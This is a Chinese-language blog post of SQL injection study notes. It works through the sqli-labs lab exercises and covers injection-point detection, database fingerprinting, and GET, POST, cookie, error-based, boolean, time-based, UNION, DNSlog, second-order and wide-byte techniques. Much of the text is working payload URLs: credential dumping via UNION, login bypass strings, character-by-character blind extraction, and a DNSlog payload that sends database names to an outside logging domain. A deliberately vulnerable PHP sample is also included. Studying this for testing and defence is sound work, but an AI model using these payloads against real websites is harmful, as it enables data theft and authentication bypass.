PRELOADER

当前文章 : 《SQL注入学习笔记》

8/20/2019 —— 

SQL注入一直都是web应用层上的高危漏洞之一,在此做一次SQL注入系统学习的笔记。

1.SQL注入原理

所谓SQL注入,就是攻击者把SQL命令插入到web表单的输入域或者页面请求的查询字符串,进而欺骗服务器执行恶意的SQL命令。

2.判断是否是能进行sql注入

0x01 单引号判断常规注入点

http:xxx.com/1.php?id=1’

在参数后面加单引号,这是最常用且最简单的测试方法,如果页面返回错误,则存在sql注入漏洞。

0x02 数字型注入点

http:xxx.com/1.php?id=1 and 1=1 返回正常

http:xxx.com/1.php?id=1 and 1=2 返回错误

0x03 字符型注入点

http:xxx.com/1.php?id=1‘ and ’1‘=’1 返回正常

http:xxx.com/1.php?id=1‘ and ‘1’=‘2 返回错误

0x04 搜索型注入点

http:xxx.com/1.php?keyword=vint%’ and 1=1 and ‘%’=’% 返回正常

http:xxx.com/1.php?keyword=vint%’ and 1=2 and ‘%’=’% 放回错误

假设我们的SQL查询语句是这样的

SELECT * FROM table WHERE keyword like ‘%$keyword%’

这里的$keyword是用户的输入

当我们传入keyword=vint%’ and 1=1 and ‘%’=’%

该查询语句最终则是这样的

SELECT * FROM table WHERE keyword like '%vint%' and 1=1 and '%'='%’

SELECT * FROM table WHERE keyword like '%vint%' and 1=2 and '%'='%’

3.判断数据库类型

在SQL注入前需先判断数据库的类型,因为不同的数据库,SQL注入的方法也不尽相同。

0x01 一般数据库搭配

常见的数据库有oracle,mysql,sqlserver,access,mssql,mongodb等。

现在主流的数据库搭配,最常出现的就是access+asp,或者sqlserver+asp,还有mysql+php。

其中,在现在来说出现得最多的又是mysql+php。

0x02 基于特定函数的判断

‘len和length’

在mssql和mysql中,返回长度值师通过调用len()函数实现的。而在oracle中则是调用length()。

当使用 and len(‘a’)=1的时候,页面返回正常则数据库类型可能为mssql或者mysql。

@@version和version()

@@version和version()在mysql中可以返回当前版本的信息。

如果version()>1返回与@@version>1页面相同时,则可能为mysql。如果出现提示为version()错误,则可能是mssql。

substring和substr

在msslq中可以调用substring。oracle则只可以调用substr

0x03 基于辅助的符号的判断

“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL

“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。

在注入点后加(必须为注入点);–(一个分号,两个横线),例如:http://xxxx/article/as.asp?id=1;–。如果返回正常的话,说明数据库是MSSQL。在MSSQL数据库中;和–都是存在的,;用来分离两个语句,而–就是注释符,它后面语句都不执行。如果返回错误,基本可以肯定是ACCESS数据库了。

0x04 基于显示错误信息判断(常用)

在注入点后直接加上单引号,根据服务器的报错信息来判断数据库。

4.SQL注入的分类

0x01 GET 注入

顾名思义,get参数传递类型的SQL注入

http://192.168.254.150/sqli-labs/Less-1/?id=1

1

判断注入点

在id=1后加单引号,页面报错,存在注入

img

猜字段数

(1)可以用order by猜字段数

http://192.168.254.150/sqli-labs/Less-1/?id=1' order by 3 %23

img

http://192.168.254.150/sqli-labs/Less-1/?id=1' order by 4 %23

img

(2)也可以用union select 来猜字段数

(UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

UNION 内部的 SELECT 语句必须拥有相同数量的列)

http://192.168.254.150/sqli-labs/Less-1/?id= 1’ union select 1,2,3 %23

img

爆表

http://192.168.254.150/sqli-labs/Less-1/?id= -1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

img

分析:

(1)mysql的数据库

information_schema:系统数据库

SCHEMATA:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等。

TABLES:储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。

COLUMNS:储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等。

(2)通过在mysql-front实验可以看到,查询information_schema中的信息时,使用where语句值不能直接用英文,要用单引号包裹着,当然用十六进制表示也可以。

img

(3)注意这里的id=1要改为id=-1

看下源代码

img

这里调用了一次mysql_fetch_array(),而mysql_fetch_array()只会从查询的结果取得一组行为关联数组或者数字数组在相应的调用处返回第一行的结果。而解决方法就是只要让 第一行查询的结果(即union左边的查询结果)为空,

那么union 右边查询的结果自然就成了第一行,就可以在页面得到我们所查询得到的结果。

因此,只要id=-1或者其他不存在的数字,就可以使union左边的查询结果为空。

(4)group_concat函数

group_concat()会计算哪些行属于同一组,将属于同一组的列显示出来。要返回哪些列,由函数参数(就是字段名)决定。分组必须有个标准,就是根据groupby指定的列进行分组。

爆列

http://192.168.254.150/sqli-labs/Less-1/?id= -1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’ %23

img

爆字段

http://192.168.254.150/sqli-labs/Less-1/?id= -1’ union select 1,group_concat(username,’:’,password),3 from users%23

img

0x02 POST 注入

其实POST注入跟GET注入大同小异,只不过是在用burp抓包的情况下检测注入,在post参数里插payload检测注入;

img

burp抓包

img

在参数后加单引号测试是否报错

img

发现报错了,存在注入

img

看下源码,方便更好地理解post注入

img

$sql=”SELECT username, password FROM users WHERE username=’$uname’ and password=’$passwd’ LIMIT 0,1”;

这里可以在uname参数值后加’ or 1=1 #

img

就可以直接登录进去了

img

分析:当uname参数值为1’ or 1=1 #时,查询的sql语句就变为了SELECT username, password FROM users WHERE username=’1’ or 1=1 #’ and password=’$passwd’ LIMIT 0,1

由于#把后面的sql语句都给注释了,而or 1=1永真,所以最后就注入成功了。

同样,在passwd参数注入也是可以的

payload:passwd=1’ or ‘1’=’1

img

则最终的查询语句则变成了

SELECT username, password FROM users WHERE username=’1’ and password=’1’ or ‘1’=’1’ LIMIT 0,1;

分析:这里and运算优先级高于or,所以先运算and,而后or运算,最终则0 or 1,返回1,注入成功。

其实cookie注入的原理与上面提到的get、post注入一样,只不过这里的参数改为以cookie的反式提交了,所以同样可以用burp抓包测试cookie注入。

另外形成cookie注入的条件有两个:

1.未对cookie提交的参数进行过滤;

2.程序用的是request()方式,未指明使用request对象的具体方法进行获取。

用admin账号的cookie来进行测试注入

img

刷新用burp抓包

img

用单引号测试注入

img

发现报错了

img

后面就跟普通的get、post注入一样了,猜字段数,爆表,爆列,爆字段值。这些就不说了。

0x04 报错注入

说到报错注入,这里就不得不提起一些跟报错注入息息相关的函数。

1.floor()

select from text where id=1 and (select 1 from (select count(),concat(user(),0x3a,floor(rand(0)*2))as a from information_schema.tables group by a)b);

img

这里有一篇文章对这种报错注入讲解的很好:

[]: https://blog.csdn.net/qq_32400847/article/details/53453098

2.extractvalue()

extractvalue(xml_frag,xpath_expr)

extractvalue()接受两个字符串参数,一个xml标记xml_frag的片段和一个xpath表达式xpath_expr(也称为定位符)。这个函数返回第一个文本节点的文本。我们可以在xpath中填写获得我们想要的信息的语句。

select * from test where id=1 and (extractvalue(1,concat(0x3a,(select database())))) %23

img

3.updatexml()

updatexml(xml_target,xpath_expr,new_xml)

此函数用新的xml片段new_xml替换xml标记xml_target的给定片段的单个部分,然后返回更改的xml。 所有三个参数应该是字符串。我们可以在xpath中填写获得我们想要的信息的语句。

select * from test where id=1 and (updatexml(1,concat(0x3a,(select database()),0x3a),1));

img

0x05 布尔注入

需要了解的函数

exit() 用于检查子查询是否有返回数据。结果时ture或false

ascii() 把字符转化成ascii码

substr(str,pos,len): 从pos开始的位置,截取len个字符

1.判断数据库版本号

select ascii(substr((select database()),1,1))

img

返回正常,ascill>114

img

返回错误,ascii !>115,说明database()的第一个字符的ascii值为115

img

ascii值为115的字符为“s”,后面就继续测试出其他的就可以了

后面的也都一样,暴表,暴列,暴字段。

0x06 UNION注入

这种注入其实在上面提到的第一种注入get注入种已经用到了。

这里再简单的做下笔记:union的作用就是将两个select 查询结果合并。

http://xxx/?id= -1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

group_concat():一次性显示查询到的所有值

limit: 逐一显示

0x07 基于时间盲注

基于的原理是,当对数据库进行查询操作,如果查询的条件不存在,语句执行的时间便是0.但往往语句执行的速度非常快,线程信息一闪而过,得到的执行时间基本为0.

于是sleep(N)这个语句在这种情况下起到了非常大的作用。

Select sleep(N)可以让此语句运行n秒钟。但是如果查询语句的条件不存在,执行的时间便是0,利用该函数这样一个特殊的性质,可以利用时间延迟来判断我们查询的是否存在。这便是SQL基于时间延迟的盲注的工作原理。

常用的判断语句:

‘ and if(1=0,1, sleep(10)) –+ 或’ and if(1=0,1, sleep(10)) %23

这里先说一下mysql种if语句的用法:if(exp1,exp2,exp3),如果exp1为ture,则返回exp2,否则将返回exp3。

img

img

可以看到这里延时了10秒,证明存在注入点

接着后面的步骤也都大同小异,简单做下payload的笔记:

1.爆数据库的版本长度

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(length((version()))=6,sleep(10),1)–+

2.爆数据库版本的第一个字符

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(ascii(substr(version(),1,1))=53,sleep(10),1)–+

3.爆第一个数据库的长度

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(10),1)–+

4.爆第一个数据库的第一个字符

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(10),1)–+

这里通过改变limit后的值来确定第几个数据库,第一个数据库的下标为0,依次往后推就是其他的数据库

5.爆security数据库里的第四个表的长度

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(length((select table_name from information_schema.tables where table_schema=’security’ limit 3,1))=5,sleep(10),1)–+

6.爆security数据库里的第四个表的第一个字符

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 3,1),1,1))=117,sleep(10),1)–+

7.爆security数据库里的users表的第二个字段长度

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(length((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 1,1))=8,sleep(10),1)–+

8.爆security数据库里的users表的第二个字段的第一个字符

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 1,1),1,1))=117,sleep(10),1)–+

9.爆security数据库里的users表的第二个字段的第一个数据的长度

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(length((select username from security.users limit 0,1))=4,sleep(10),1)–+

-——————–

(这里只做下布尔盲注和时间盲注的手工注入笔记,一般遇到这两种注入的话,手工太过于繁琐,最好用python脚本跑,这里就不贴出代码了)

0x08 Dnslog盲注

首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下。

img

DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息

通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like ‘%secure%’;查看load_file()可以读取的磁盘。

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:\,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

img

通过设置my.ini来配置。secure_file_priv=””就是可以load_flie任意磁盘的文件。

img

在mysql命令行执行:select load_file(‘\\afanti.xxxx.ceye.io\aaa’);其中afanti就是要注入的查询语句

查看平台,dnsLog被记录下来。

img

load_file()函数可以通过dns解析请求。

以sql-labs第五关:

payload:

‘ and if((select load_file(concat(‘\\‘,(select database()),’.xxxxx.ceye.io\abc’))),1,0)– -+

执行的sql语句:SELECT * FROM users WHERE id=’1’ and if((select load_file(concat(‘\\‘,(select database()),’.xxxxx.ceye.io\abc’))),1,0)

查看dnslog日志,发现security数据库被查询出来:

img

0x09 二次注入

二次注入其实在上面已经运用过了,就是报错注入的第一种方法,floor()函数那种注入方法。

这里再把二次注入单独出来,是想让自己从不同的角度去理解sql注入。

这里就不再赘述了,贴下payload:

select from text where id=1 and (select 1 from (select count(),concat(user(),0x3a,floor(rand(0)*2))as a from information_schema.tables group by a)b);

0x10 宽字节注入

涉及到的基本概念

1.字符、字符集

字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中的位置。

2、UTF8

由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。

3、宽字节

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。

宽字节注入原理:

GBK 占用两字节

ASCII占用一字节

PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。

大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

举例子:

以下是一个存在宽字符注入漏洞的PHP程序。

<?php

$name=$_GET[‘name’];

$name=addslashes($name);

$conn=mysql_connect(‘localhost’,’root’,’root’);

if($conn==null){exit(“connect error !
“);}

mysql_query(“SET NAMES ‘gbk’”,$conn);

mysql_select_db(“aaa”,$conn);

$sql=”select * from a1 where name=’”.$name.”‘“;

$result=mysql_query($sql,$conn);

while($val=mysql_fetch_row($result)){

​ print_r($val);

​ print(“
“);

}

?>

这个PHP程序的SQL注入POC为:

http://127.0.0.1/test/t3.php?name=a%df' or 1=1; %20%23

其原理是mysql_query(“SETNAMES ‘gbk’”,$conn)语句将编码字符集修改为gbk,此时,%df\’对应的编码就是%df%5c’,即汉字“運’”,这样单引号之前的转义符号“\”就被吃调了,从而转义消毒失败。

从宽字节注入漏洞原理可以看出,宽字节注入的关键点有两个:

(1) 设置宽字节字符集;

(2) 设置的宽字符集可能吃掉转义符号“\”(对应的编码为0x5c,即低位中包含正常的0x5c就行了)。

0x11 伪静态SQL注入

伪静态,主要是为了隐藏传递的参数名,伪静态只是一种URL重写的手段,既然能接受参数输入,所以并不能防止注入。

如果看到一个以.html或者.htm结尾的网页,此时可以通过呢在在地址输入框中输入:

javascript:alert(document.lastModified),来得到网页最后的修改时间,如果得到的时间和现在时间一致,此页面就是伪静态,反之是真静态;因为动态页面的最后修改时间总是当前时间,而静态页面的最后修改时间则是它生成的时间。

在平时的测试过程中我们经常会看到这样一类奇特的地址:

http://xxx.xxx.xx.xx:xxx/test.php/id/1.html (原型一般为:http://xxx.xxx.xx.xx:xxx/test.php?id=1

像上面这种类型的网址URL,往往是一种伪静态网页,遇到这种情况可以直接对”.html”之前的参数加“’”进行判断是否存在注入!

接着就是在注入点进行各种注入测试了。